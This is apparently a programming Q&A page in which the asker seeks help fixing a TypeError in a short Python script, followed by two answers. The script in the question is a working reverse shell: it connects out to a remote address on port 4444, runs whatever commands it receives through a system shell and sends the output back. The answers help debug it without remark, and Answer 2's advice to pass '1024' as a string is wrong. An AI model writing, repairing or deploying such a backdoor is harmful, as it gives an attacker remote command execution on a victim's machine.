TypeError：实现套接字程序时，'int'类型的参数不可迭代

Question

Full error list Just help me solve this error, please I have just added a random IP for security reasons the problem is in the while loop. Here is the python code in which I'm getting an error:

import socket, subprocess

def execute_system_command(command):
  return subprocess.check_output(command, shell=True)

connection=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("1.2.3.4",4444)) 

connection.send(b"\n[+] Connection established.\n")

while True:
  command = connection.recv(1024)
  command_result = execute_system_command(command)
  connection.send(command_result)

connection.close()

Answer 1

command = connection.recv(1024)

This line gets a bytes object from the connection, which you then pass into your execute_system_command function:

execute_system_command(command)

And in that function, you pass the bytes object to the args positional argument of subprocess.check_output :

def execute_system_command(command):
  return subprocess.check_output(command, shell=True)

But args which should either be a string, or an iterable of arguments https://docs.python.org/2/library/subprocess.html#frequently-used-arguments . Check what gets assigned to command and you'll probably find your issue.

Answer 2

You should share the error image if possible with line number. I think you should use "1024" with connection.recv.
